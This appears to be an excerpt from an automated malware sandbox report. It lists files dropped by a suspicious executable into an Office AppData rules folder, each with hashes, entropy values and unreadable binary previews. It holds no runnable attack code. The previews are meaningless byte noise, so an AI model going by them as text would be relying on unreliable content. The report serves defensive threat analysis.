Preview:	<?xml_Df...L.........'6.....".Q...".C...y..=.e...........5K8X.RR...eP.)....DkZ.#."x.\#.#.N...AF..l......Y.4J..Y{.I............."..H....w.NR....a6~...-......>...}....e......t.._f..~0.\..Shx.I.Z.g]&..5]r...<..#nA.... !e.-d....E..f.;......R9.y....s.d........0....?.c+....&.^.". )bKs.5.X..;.........p._)#[o...9..hnw.K..Jv........X.C...N.j#%.....P...0.$..2.df......n_.9.......X..,.e.)XEn.um.vjL...b...Y74jy.o.r...z....{.....m..ZzF.H.c...^.........y...L.....v...dn...N.:_....F.M...;.M..y.u......s...S5...]:,N..v.^'..Q.g...Y.>...ux..&DR..\|...=g..bRaZ....]..(..d%4..m..LZ.a~...p......oL......\.x..~.J"ND`.W.#@...%....4.`NW....t..........0...U.....tw6..;..o.j.P.9...@......}]..T.m..].N3".}7.g.h...%....U....y.m#[o..`&...}...77..U]."...".Y.....4c.Ol...qP.s..$&...'..\|t..zq@.L........M...h@..6AHMu.Bt.......j.\..y.b....G.....aj.r..'..g>......t?.9. ........*..E.\...#9..9.+..?].."5..Z..#......k.-.&s.V.D...df..[....]]...y....E..J....mu....b1#C%..X).....k...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.89278654081382
Encrypted:	false
SSDEEP:	48:ockPLRwnY19Bc6Hw8v+DOsUC6aqNRPOHnD:gLe866HJQOsUTRWj
MD5:	F625D3061752C9834F81D30506BA7A28
SHA1:	3D422C46B2C11220CB55B4F02809860A455672A3
SHA-256:	0C20C65B486524BC8217BE43831793318D5F3E9AFFF1CFDAB6F94456115BFE91
SHA-512:	42DC6AE1CC35FE486C97A499B29577E6ED5300B29304DAF643E7F87A1AAF22AEAF9D011E2954D481C99287F11F1819162742ECCB518A0E5C80EFB775FD645948
Malicious:	false
Preview:	<?xml.N..o>.63. .Y..d.'.G.W.HdZ...8{...u....:?..+..2.B]<...ja.... F]....n.../...yM1Er.k'.Pb.T...S..yw.:F...j\.5.K....!..@..).w......c....9.....T... :.^.....g..At..\|...q.........>.W-}.+t. F...f.^.....C...>.L..%..-rh...]C..6.[..;.j.....I.\|$wg....H.L....L+.gy...........KS....B....Y.J.(L...C....NZn.]..d...X.Jd.w.....b..j..........3.f........;.Y,R.&e.c..Q.w..'..MRspQ...:.........P.9....Z..[+7..J...P..o-.g;.E....I^..:.F.&.!...o`.t....z....Z..M...R.r..H......F.P.?.aC.hR...P....O.6^...>.ld..z..._EP.....z& ..X{..y.}..m...W+.>a..Sl..b\.m9L;.....oN....C....].......<.....9..".B.T..B..%..#.?..Se..!8b.d..f.m.n.ss.V._.,.].$......2...).0.m...9..Z7..7F..e0..>=.....x..\\| ..5ux..u.n)..Y.6......OW.D`..!...].8..a$.^.7..9.....0.d....I$.W...)u.-.Z.@R........[.).w.v;.W_....}-..U._......J..1.&..d..4(;.m{.-m..a6.q.&.C.......s....s..b.H.8~.._8:\(...\>A..Zg.........Hfyy.b:.{.j.9\|..m..o..M......U.T.......z.....n.....*..k.--..xf.a.O.6>..f..$.."Lp.pz.d......X....F.e.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.880096565240667
Encrypted:	false
SSDEEP:	48:Rmhpg+LOYnWjirs2/b4vsHstexZ4aUmLTHgeD:8hi+iYLrsbUO++unH9
MD5:	B435D250EE28F1921A79A377D3E5101F
SHA1:	911280ECB8ABDFFE2580ED0896F3F88874075279
SHA-256:	32F7F94A044851984830231A43E8575E9E708213B8608533C58B10A7990C06C8
SHA-512:	8237B750A51E1EC86AF387A17B1BFD7DED7F40FF3E7044E9C19DE5D4D86ECD73A4F800EA51EA1471B33AE737FA7F4FD772071D115D63127576C0F0767D51B9DE
Malicious:	false
Preview:	<?xmlS.o..!2...J.Cv2..%...f.Et.No.+.M..G..W.h...k'K.$^.T.}..B..am.......".K\.6...%.....F.._..[.......B...}.7...F.N.K:.Q..k#~J..Ln....qT.......!....".w._..).T.y[e....-...w.I.y =.wx...@ge...pt..zyx.rXWw...T....].....WWk".Z&...V.8.My."...=.f.h.8V....8....~._...?.l.s.M.(.....qh...(J.g./.;v..$+.i@W......o....]..i..[?Z..!...a.@..T...l'..d...@.]W2.I......./B.O0..Ya.K%.6.t>.Whd.+k..2E........3.(..........$...-s.......ouu.:.!.oa...%X..+'.].W..8X.T...w...5.V9...T..D..i......UV...cs.S.$.....f.$.9.......s.mG`....V...E....l...o7'7c..m......:..._K........x...8..T.[3....'...i#..z...".M....s....u......k.p......7..E......X..a...,..5uEJ..v....a....a...._8k3-..6..o...9.(*...h..0..R....&...=...1...M.e?...~..!..M.(...L..`..+.G..[.UD..h..._.......=;..R,.<...=.?.}._U..\..6.I..w....J..y..C..H....+.N...V.D.p..2}.\|.+zo4..g.V xrdU.....Q..Q.8..... `.D.E.7.e...:...%.S....n.Y.\.:........k7.{.).(..d.S:.x.G.n....[.\|i.^...pu....B..M....R.B.u.s.8..'0...... R.(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.884250858321238
Encrypted:	false
SSDEEP:	48:ZmdVmbXnX/xVYQvQ/XHXXsFnweE/vNpeEEWD:ZUmbv0/c4HrZ
MD5:	30299AC4E51E6519F2B9C2C91E5A4D94
SHA1:	401217435494A380990A830C2CA3D68DDB9A9F4B
SHA-256:	FD8633F6F3FB5AE5A2D4A613E1643ECFECE2B13434EB9A7512529DFAE72DFAC5
SHA-512:	D5E8C98C24D61DFD348729078BADF47C5A7094BECD6360588889CED4FDBD50C1CF2CA899B2798CA0B44C608C5D342528586E9273B2BAC1E5637D247419612545
Malicious:	false
Preview:	<?xml.[.$..T?t..a/..k.+pU.7.....$....Q~6nj^B....:.>.gL.r....@...v&.1.qn...zw=.%O...OR(..Z<..&............T...A...n.p...x.'...4/\. ...(.......#.......w...2QC^<..l24OC._...3m.v>r.=.T4....G.4hz^.3...z(.l4N.-..+D......o...\|.nL....o..Dc.5t.. ..........P7v:_..%%N..#J.y..:..k.1.L...+`.Eb....a..=.1PC.....\|n.-..+K.S-t....j.....6!.#..C^..W.Y...?.-...N.<.O.9..j._.xbe....B4...J,F.n0..$...s.W.<gO.&./._'...\|7...rz..,P.W]~.....[....p.xR..~..MY...V...`.....<.GAy..P..G!n.$..3D....y..M \|t..J......f'.zb..H.Xu).5z..g]&....^......#O....P...t.....t>]._.Vy...wB.....%.......$6..........k.+%........I.;B.5.l`Jo...r..vO.. ...K.d.....Z..??.f.T.N.......@e7.CS...7j'..#...L.$..$> .\|_!..v.Z.....$._.p.....o.......c....N.M.(MX2.......t........`.....W..4<....w...........=....QK.r.sa..6...+.0U...(......~8}.....R.u..<5...{.....n...-...r...[.......9&V.8jRs...\|....w.j5....#.Dl.^yW.94F..]...I.&.KW'.C..W...."..E+..(....=......i.....BS].)..?......\|}..l..f.!........@..).1....5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.883364214246768
Encrypted:	false
SSDEEP:	24:U1XXisrDB5U3FIIda4dO66DmujHzEBOwK+5rmoOfh92L3dBAQ38VI/leiRQeHGoX:CX4mIdjdO66DDEIL+ooOfz2saVHGyD
MD5:	29E7A27F6168CF4DA187AE7FDEB25E62
SHA1:	2C0850FE454C7A64E1F40EAACC71BF11602E34F5
SHA-256:	A6A5A36596B8E1C87F0BC6CCD736AF44B21A15D76BD7B9DC8977ABF91345C428
SHA-512:	9F045FBBC8111DFFAD6CE39D648A9EDF61869EF6381FB17281D909FD3F105573B3CA4DC5DADC0B6F68C8C32851B40A053085BA642B53F7A04154BF29E687AFAC
Malicious:	false
Preview:	<?xml..L?.m..xe...X....a.$2<.-.......[...7...?.s..Rza"i~.....I./Ui.`.v.8..~..oa.......E>r,/.....i.t.{(.d..%r N.=.lq..v..}d[.M..l...m..4(^r..f.Pk....\.o.@..0u."9#...(....j....4o%.-v...............+B.0M.Xwtw.....I>.....!....K.l...M...C.....f>6.>q....k.....g...f...-. ..%"$h.$x.E.%2.......R...Z:..@..kx..........R.S&...p.2.Dc.........>..B..dO..T ..S..5..O3."..4...".F.....0.?...I0..F..v.}....."R..K...?}....w.l...t...rG<.T...!U...^XuI^\|.E.Q.V.P..y.$.R..g....g..]s..F.Gz..E....,z..[.}.I.u...d.........J..n...J..S..z..."/z.....Q.R.%..}..dA.p.P.V"..".s....[.=.62.g.<.Q...."...VW.[.....u...4.-?.1..uI...7:.l........6.?.#.]9.U....F2..E.K.......#C..z.\......\...t...u.....~.G"....](....>.s.3.Hn.:.....d..qXn.S.W.[u[.-oUM..{Z9+.........1...J..M.t...I..K[.X>.....D...kp.E5...<.....~.&.v....U!9....V.......e6..'^Pu....#7.4.\|.b.....)/.<....z+.....9..z.HF...........OMV\..@...M.J.I..+.....cp...0...L..ua.....\|.........tZ;...X..7h.;5fiy.q.&^.'..C..yB..+.ot;..M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.878651580198192
Encrypted:	false
SSDEEP:	48:2LFMDqQQqAOqo0pIyi2cIx5jrwf68NAOHUkHtD:2K6Oqogb/Y68N7UcV
MD5:	3EDB4EC5D481FEFF3E98DEAD5C54798E
SHA1:	244805681597635BAD934826061A4089EE91E890
SHA-256:	F80D9214C6C25CF5E9754A3D5FAF9D157625ED814986292A7B785CAE4FEEA348
SHA-512:	EA54047FE57C9CD90C845C1FE70801DB58275B144B0FAA9E94B2D4C417A6954DFD1BF947D5E2FDA2D3651E546091C929E84D027908B19328C1A9684AE5C252ED
Malicious:	false
Preview:	<?xml~.....-;....FI..IB........e..O;.ja...:-....V....w...<...%y.d.;...zr.H.....:..0.1@.E........X...V(DB.dW.be..`$....2j.W...C.......=..{.k......\..[\|0....P;...;...X...C..dc.......$,.7q.s.2.f..B..H..%u.GH.... ..qj.r..?..t.....H...}....;.(.B.....uX.....Z.,...?f.?aRf....Ug.)'.qGDm..H3%...%........v...+.....W..".... ...X..c..q.....{B.7_..e!x...`.QC.vR.Q...S.n$T,...-.i...>..e1y.x....~1!+y....jY.=x.......^..V.T...1......1O......QI..9.w...'P.../y..y......0.....D9.n...=.x...y.i...h.{8'..{NA......]?..S....u2{.....0.. ...-..a....`:Xg6r......S..<AcO_..y...M..*9...7....)M..B...Q...v=..(.A}.+C.[@,..?a..^U.^J...c.@0.7QA......'....0.\|...iU.4.?..T.Tq.A....\|..G...EF.X.~..G......UP\|."....X.H....b.[...k...:..n.D...g.OJK.....O.l.ed.'.wni..o...)!s.M5.1V;.....C/;1A..z...z.&.zdl.._...C........]T.....X...8...gW.\P\k.T..O........K....q."W....g..L.B...k....S....a...\.J.8.5.M..}.n..Y...Jb.A.].@.k....... u=C.......O...Jc.!tbP....s+.e...].....%1..N....G....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.893022648037383
Encrypted:	false
SSDEEP:	48:EiwU8o99b69Ra4A6OPz3VllyDt6T16xMI+XBD:38q9e9YpvFlYDE8xMx
MD5:	191BA494A836F6E75B4C208E967E0016
SHA1:	2ACF69A7CD865487A5836B7793E67BB5C91F419C
SHA-256:	99DA17A114C796BA4FF4EA0A7F564A05CA1463A77733C63CCA2EF8A039D185BB
SHA-512:	9F2197C9A52FF47AA419DAAE59E60C5C3748C37719BB6AE50DE47ACDEAB1824DBE9D22231B4B214A53143E6F8391B4C574C958C9C025D3F137F24BC98F82FCF4
Malicious:	false
Preview:	<?xml<.C..#U....Hr..+c.W.Eq\|_...~...u....]..#.}....BG...."..&..i5.T.@7.#..I.]h?.......Z..Z..<..P..^..1..XG....%d/."kaw....it...t.S<9'!H...I-h.....SD4....D..3.......{..J....P=..)........sf.....y;.sd....5.C..y....0...(....r.a..4}.S..Ql....c....A...?.^.j....Bf..u.E1pS......x....<.Rr...).....t-..M..Q<..i.../..1.>....c....R...Q7.K.3.u9:e....Fk.....W.8.\......s...T..........7.MM,..........F6.5..i$...PT...I..;.UAk/B...tx[...z.o..WHoP...`}.....V...E9E.B.j..y-.LT...H.a@....1.j......4+z7..PLw............9.w..iA.E...S..e.....G...Q4.]..a..fHf..t3L.rZC.'...9P.{:....T...'<...Y.....6..L.L.3...~.=.q.. ..X.Q'.....d.N.DN..=.w.K.Eu...zea.Q.....+.....b..e.a.PX.....M..3r...K.....bm.O..5.>....Go..=.3.!..Ha.W...r..i..he5j........:w..Z.s..Vh].X..Ew$.}.mB....R.g.....`F...VX+.._w...e....).......f...iiZ...3J.z`..."........q....2r..Z.A.@`.jd..l..q^.E."....HR.5......h>..._,G..\o..3.B..).&.......u.2!.......Q.FE..6.Vy,.h...u...<J..... . .....E.=-..q.\|9..};...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.874866956084637
Encrypted:	false
SSDEEP:	48:WomWOauE9fxVwUlv4QrK3GpceFJU+rylkWJhdOyD:W/Wp9fB4QreGpNFmrFJOa
MD5:	45B5F684A8525D1D87B2A3C1786FFFF7
SHA1:	0E6988862D62DCCA796EDE34D73E1E5F0702909C
SHA-256:	04376D71B2C6804478E4A6EE4A411A71CC8A227A22133A9C7655467F892FBE31
SHA-512:	7F378910098C12A105087107730583855FD16A30A35351F75D93E33FB87B7947FE0DC7F16C6AE44CB624D4E588F408B2C9FEF04816C8A497C4BD1A984C8049B6
Malicious:	false
Preview:	<?xml..9..2.vh.@K\.}F.?8+X?p.B<..kD..I..o..p.g:3=\|.1st3..4..}.c.C..........<..+.s...f..H....V..Y.QG.'.AC. .#...M.r$h...H=...0...}v....f.-U........{..OZ.w}..v.}.W.....w....9'.6.7.X..YF..]..+..UU..FM+.:..Wa.r....l!.r......k...j...N.a.....N<..O.....1......:..v.........Y.U...K.x......H..... .k...R.L.m.Sw\..z@..l...2."..4v....!.....ktW.G..e0.t...h.......f..5r..)H.n<I......c.._...v..nC.1.j...O..?]I.R....?s.\Da9zt.Oz..j....hTA.M......[.KD....G.....@...@.<....8 .O..'...[........d..F.`.xH.1H...j..."....r..sO.I..}at`~".L.$...+$D....._ZX.......u.....Z..b..v..yn'U<...P..HM7..K..u..@..N..i.....@.&.......n...\.U..-...C`?...J.#..R.a{..........r.x$.`...;2....i..8.d5g.m`b......m.>.....W...V%../e.Ho.."yrl...+...=.\|3....yP....._X.....0V{..q/.=.#N.t..u/.'.\| .R..{...^..u".{..MG...f?.&[...<V..=:..8.4.z..........n.=.#3.......d.....7.....6.r2j..b.( ..E.....z.s..)..\|\..dul.L.q.....z.I.Z...Cm.Y1.......S......S......t.p.U..j6..KQ.`.>..`R....*..Y.ug(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.870770956151415
Encrypted:	false
SSDEEP:	48:lsM+J1h6Nl6W88TMozPj2wWG6UMaNCdbgD:rY1kT6Ab2wl6f8
MD5:	436BA3413C30144A238BC9E418F30F3B
SHA1:	4B0A54DEAE26BDC85432631FB6369E1EC9019167
SHA-256:	D82469F53E7487E5B353789C25F55EDE33F63A9CFA4EB0E4E77AA92933C0935D
SHA-512:	0D39F190AC744222B646FC0613D58E4AE42EE013E8AF49D134F3C43DA1D8E035AFC2BE68A04A569838EEDD1FE1A0539DF3868E75067B2347287A316EA37EAFEE
Malicious:	false
Preview:	<?xml..4.#.....o.......F....XC..h....[.\|... ..9....i.K...ijR....JY..K4._..M..nQ..t.S.."...K......[..s}.0....."..D.X...>~.J{L.y}k..weWf/..N.D...^.....s.Z.f.......f...`.' F..a..\...BU.^...E.W.I.?.....@....Q.]4j@S.H5.N.2...Y.;..9..i.....c.N#'..f...7.'q.s)...#.y.;f'......:$P....11....?L.%f....m..r.3..L.":0c......a.IP..uokJ.....rR.dK.6F....7Q...hoq...d..yU.`.(....U.A.S.....F...E../.....%.....5... q.m..P/..."t.T.m..xo.f..(.E.mZ.X\|z....F.I..L.k..}?.../..7.%./.S..z.L....J......._l..hZ`..:.p......Gw.........0Fus[9.]<. .6.../.....[.,..N..GKZ.5.?.....w(z..1.x.qJ....E.iV.H..R[.. D.c.....C!.. . n._N.....0..#.....cI..s...p.(7.<..}'J.t>U...<o......Y.0..\.H..Z..v(..K.q...$4$..$..nx.q.Zqs....'X.$.b.....v...\|./;!eXP..$W.J...V........[-.....o43....y.d..j..S..jU..V..X.W.^...c...G.O&.w..#........h.....<cZ.WZ.c..Vf.d.... .5,('.....'.(..9u.if..J............d..,..K .K..3..$...>...{....`X..l0.Na..$=y......C>qO..S..\|.....6UB.e......%...^...M....?.....p......d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.875351603570116
Encrypted:	false
SSDEEP:	48:Q5gMLjpq+Xcd4XscHn6cnU8CBTq1f+LfGD:QaM/pq+XnX3HnA8Cod+Lfe
MD5:	C4FD569C3DB5AFDD98F9B29F76F763C6
SHA1:	895310693F100D05E7A5588276F848E6968C6610
SHA-256:	76F65E38A9018C148F389443DA65AAFD1A1CC7863E662A974E5BE91734094AD0
SHA-512:	00DE28C8F8D4A2EF1B4FFAA3DF66A2ECB0250486B04A9EFBC81012933E4E5281CD09D79232C996304933A687933CD518DB578570E02E2DE0B53B79A2B74140E9
Malicious:	false
Preview:	<?xmlm.i...t..,.dsA\|..T./\.H\y..B..,Y.Z&\|..9Q...p9f....`....]z.a..c.+.(FT&.k.).E..&.U........ .u...1......U..b8....7C..t.V..H< ...'.......>......k=.g#...j........[u...8.a.8...i.........<..\|G..z..u...m...5@..../.R..l."0...G.hb....0..K...!.....R...A5+=.cbi@W...>R.x'...Ks...A....o...i........v.IzA}..H.z?.#...{.=..hK.X<..Xbe...Q.NE.z.U..T.v......:...Z,\|.``79...-.\....?;f=xN.....K3......g.....v...4T-f...Z.u..[.d/...7b...'... k)..>=\|..WK.....=.-.C......x...x.Zaco..=/....a.:..j.^..&%A.0...X..Y..eO..\|..4f_%.......d.....L.4.s..1l.l`.NV.(s.......;...!.U..J............d...\|.O...._..4}.G(.X...1N-..@.,...Az.7..A......k.C/..zd.m....(..Q....d......<...t........8..!....Uz.;._...s.W.4.C.bTM.O...G..p...XF..... ..J86.u;.._...s85.7....[uEF..q;.$.v.w....l'.1..Q@.3........up.E.........F,q.I..m..q......\|....OI?}.kb...3...b....X.G...#XL....2n...~..4......\|q..Vy(j...Z",......#.....//.x>...mRz..$...X[..]..>.Z.z...'8.....,j".B...H..........Dq.3...4&.......7..f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.873453405919315
Encrypted:	false
SSDEEP:	48:/h5QbDRydIqq0u9xTTv39/VX0Qv3EIoaDD:bIDAIJp95v9/BvUIoaP
MD5:	A382294D008A470446B4E9EA75868CB8
SHA1:	37B86A7DCA8228C1F5E36403202576E87FED9A22
SHA-256:	B68CF639F6BF49F2395BBB9ECA71C2F52FE4BC945ED27AC53F1262885FA6987B
SHA-512:	4FF6B2A7B6777A954FC861D4947A6E6EDD5B475AE243C0FB5513622197019E3125D1491DA4439E79402ABAEF42F76E23C457EE1795A6FBA6ACEFED4FF396C249
Malicious:	false
Preview:	<?xml."../Y.zu...-.aI.. ..a...-T....r...5..J....8G.@_.w...''.!'.k..n..;..a..1(q..\|..L.k.CW6aU\.s..$...7...[=.......1.\<...0rY........)u..1...'...?.%...Z....]../h...)qb...V~.............."~,......X#..E.b..v..!..!9..Y.-.7.H.$."....\P .4!...5...}.!...8.D.'....)..S......Yy.x.,.3.N..g{.R9.Qf.9..{c.K..[....Dk..G.....r..o.?.........~...LA1`....E'.ip5W)..ia.y.w58...'...U...?o".f .."6..L...G-.{.`.........X.....{5....v.....Xw4..fp."oi.$&,...5..,.w.........H.d.........@.7...........N.="q\|......%.....\|N.f......:.......E.8.V{`.V..C.7V.....gv.9x.XIT..t.P..}`.....m....%OckB..0zV.f."_..6..l...(.T=s.a[. .Gm.e^"$........q....H.-....9.....[gSf...S..M.Q......P..<.....N{..6.Q.\|..zt.....-.s....V.B...G..Q.....a1%.+...c..Y7..;M...>.a:...Q.E.$..@E.;.Vgy.U...h.do.....5..w-...r.0A3.."...w5I...N....5ZB...p.:...Z.D.C.I.~..0..du.....PA.....B......."..u.`g.w.h....1..6..p?=...}L....@z...W.............?5.)..u.Lv`L.6-.......\|;.B?..G.1..i4.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.885729204473975
Encrypted:	false
SSDEEP:	48:08H3bOSQulJDyL0rjxZ25MCbESy+SuXZD:Z3bOSJD13K5TDjS8R
MD5:	9469E11FBAD6A553E0AA34B7C2A68B76
SHA1:	43457C47F668EA1566545D061B5958245401B32E
SHA-256:	54A2ECE07EB1F4FD6840FCC812A8A6FD3FF3EB33F80EA9475986567E9BA2A5A2
SHA-512:	A35631CD7D386BDF4D008EB2E8256B3CDDD47B9AE1A80DE877026B0D8926B75EEFB938B9CC3A13C80B8AF52FDCFE5AB4807AC12D1D41803C42AAA00F8DD80187
Malicious:	false
Preview:	<?xml"....k.(j.....E..aN+X.--.rr1.....b.G.I.L........]>.:".J..qy..L..v8BX.....!.....CC......;.[.l.3.....e.F......Oh..g..PDL..a..?.\|.....6.........r.^.....g.(.b.qD..zvJ,</p....^%G...q.li..X0y6Y....It._..O.<.!.G...Y......,&.9#(:.x].W..3.Pc..'._.......n..w..N.6....C;...eE....0O@..9u.jP...Q.....}+\.J......WK .........R...s`.!..OJd.r.}).&?..b.9...5.;_.aX...?)...<B..g..&.`pz.fA..8..99..`...].C.....W...".n.p6..F1pG..v\|.=.....r.DF ...).mL..>./..!....t....=..._w..yT...............[#!zJ..d.\..D.".0lyOz.gb..7C..jA.......G.YX.>...].T..m.....z.e.]...F.H....{.(sY......p.].{..L.R.....{.T..0k..^I...Y&)4.:.......~..<,...r..,.iX.wm.......).$@...".Z..L....qP..9..:....2.l.W.-hV4.'....2d.e..A.f\|Od....c....G.>.v{1...[.6..A\x.w..$.p...)z!.N8...a.........7u.ztU.Gjqy...s_..~............A..7....4..'...3....n......S%.1Y........l.)s.,.3X.l.../...r5..u.^......s%...p...I.g.,.........vK.<9....#..e...."O..\~8.i.2vt...lz.}F...1 ..g6VH.J{.e.\..W.b.p.VA...\......L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.894197795772388
Encrypted:	false
SSDEEP:	24:+RV6KdICsNrj3eWcjhhopYIZYeDKwE4rmPEv3zNbF5zexS6Y3HvutKeNBo3h6d36:CdICGUjhh8mdTEBixY2tKn6d9MFTwolD
MD5:	D0DE7D7B45B8754CEA6CEA3F61BF4DB2
SHA1:	5933197B1882520D2B6AFA69BCE960B6DE7995D1
SHA-256:	09BDF4ACD9FDFFDADC577E966232365A9B525D8222D3A67F622D5973D11A607E
SHA-512:	3D3C4231D49C3A1586D5AB1EE9D4DB422B8414448806FF63109E7885A5B0F0668E5055F10352BC685AA3FCD003C6F6428604743397266D68758E667DB2DA0A2D
Malicious:	false
Preview:	<?xml..pEN...\..S.x....0..c...e..n8iQq-...(.,....k........X...Z._.^...)....G.`.N.:...Q....."...Eu.. ee....gC>.z4.A;:$.....a-.....[...yj0n...$VL.y=A..O..d...fn....".A.4....g..i.h.Uy...i]..R&..}.Y.F\|.....(.FG.l95.0.g..Q;..x.......(..$.z...T.Fj.qn.{.F!....z.g.S,....h'......J.MB..c.lit...O.l.\|<.../.M..Su...K...e$..].q.y....l.].#....x.i.),e......qG......}.@6zbp.~..gn.z....Oy_R..P.....,..).6>..YO...J.[Q..ED.r....t...."..f.=U.3...N..E..w....@.sT...E...Mv.@/>"`...58.ol9.5.Q........#.>&....F....s..rqS:h.IfvQ....B.......d.........e.Q......k...B40.r..s.P.........8\5...%..Z....>..aG.YV<.x...&.r...B..Z+...,o.F.O$..@. .nk.`.b.PU..T.........P...w:>.....<..aO.7..ZN..;.........Q.t."......_g[D.....}..H..Z.L....W.`r..M.1.gt%Z...LO............u0p..L.^`rSeom.\|...c#....K4V.w3...N.T.i...b...L.b...3......1d...<..8..b..~....#f..6a.6.......<..h...k'......a...C...k.K....[y.?.`..tD..@6.!..a[.?jD.&..T,.+.....[.y.6....vcX..G;.@.>..2P0C}8...........eQ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.897072266504631
Encrypted:	false
SSDEEP:	48:x+y16CSIwyDP6DRLc98zXAFm1dPPkjRkcFD:xx6CSnyERLcYXSm1dP89V9
MD5:	56C98CC4C40FE78BED08FECCD872801E
SHA1:	89B2623FE466285D80F97ECF835F934C45D3B3F6
SHA-256:	DA00483BFE82ED6207D716239ED9D97268FE3BD3CAA74EB4B2140FB1D4997894
SHA-512:	D14C5FAB101E91D4917276C4D53465B2F7499700770405A8EDFE89C1826CF8FDF6DDB18113F87A0701DC5BE7451B90668D2EB79E9473993709334D5756A7304A
Malicious:	false
Preview:	<?xml.._....FF.S....$..y..."....=...U>..u....(....A..@_7.Y.....IN..y.C.V.\|..5.9D.......C`..>..za..-q....4=...v.L\....9Z.n.2....}..=.]P......>..].P....cs.......g.y&..L/v..../..g.@x....sA}. `W.Ij.ZJG\ZG\]l.m._.V=WWO4..G...I.,....b........1.....n'.X..Ap..X5w.Q8....@..$}.s.Rwi.$..Z3qu...l. .....F...C.-S.:......Q.......$SMdER8>......QO^........-.!.Eb.Z(.J ....C...K`e.....]..:S...@}5I..tx.....l!.....Uiu.(..S. ...L.9.AT.G...B..s.[..[OJk......`l{..<8..;.G.p0^.T@?ZJ...!.)&.d..gi..HRT.C...41.........P.Z..7{...L..6.f<....s.}."&Cp....:N...zh.g,kB.t../w.3...gI}3..... .Y..Ks.T....V..}..fy.%..z....4-..<..Y$..5.-...'"%1.....`....@.4ac.g..xD.8. ..E.Q.E.msK...`...A....}a.Q..k};=..`...Z.b.f.?R.gB.=.....U7......K.N%.....5.q../...V...=......X.:=.6;jz.8.......\|.a5].W.....&...O....n....v...P.z....kHp.P..)q.....(....X.Dz_.<y;&!.S..x...tA...Qg.}.p.....W..pq........1.....j..Y.BZ....#MIM....'3~.XF.7....O.b..>.>V.I.....0.,....jb..a.{./+^f&...=.\...;h..-f..x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.889707351397121
Encrypted:	false
SSDEEP:	48:WW2gbb2+JuzccMl99mx3Qw6hlGP1y5BwZT9ANGNgD:H2I3szcnjhMsfwUG+
MD5:	6D3950154B12A93F10253027122C4035
SHA1:	1DCBECBA37B5412CD6CFCA138EC67F4F0E332191
SHA-256:	44AE6ABE24C5C88EA43EB468019B93425BE7278823A1DE759291D4C43015A38A
SHA-512:	280B85FB01354F256129141AF75E5F3CADC574E6583ACCD8D8A4D90F97980EA1ED373B36F1686EF1F2559072703EBDB256FFFAF0CD6E91D05C95998F9D1E3353
Malicious:	false
